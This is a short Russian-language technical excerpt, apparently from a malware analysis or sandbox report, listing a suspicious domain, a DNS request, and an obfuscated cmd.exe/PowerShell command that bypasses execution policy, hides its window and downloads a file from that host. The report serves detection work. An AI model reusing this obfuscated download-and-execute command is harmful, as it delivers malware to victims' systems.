Техническая информация
- http://transporingsytw.wang/search.php как %appdata%.exe
- '<SYSTEM32>\cmd.exe' /c "POWERs^he^L^l^.EX^E^ -E^x^eCuT^iO^N^poliCy ^by^pass -NOpr^of^ILE -wI^Nd^O^WSTYL^E HI^DDen ^(NeW^-OBJECT SY^S^T^E^M^.n^et.W^ebcL^IENT).^dOWnL^oA^D^f^i^L^E(^'http://transpor...
- DNS ASK tr#####ringsytw.wang
- '<SYSTEM32>\cmd.exe' /c "POWERs^he^L^l^.EX^E^ -E^x^eCuT^iO^N^poliCy ^by^pass -NOpr^of^ILE -wI^Nd^O^WSTYL^E HI^DDen ^(NeW^-OBJECT SY^S^T^E^M^.n^et.W^ebcL^IENT).^dOWnL^oA^D^f^i^L^E(^'http://transpor...' (со скрытым окном)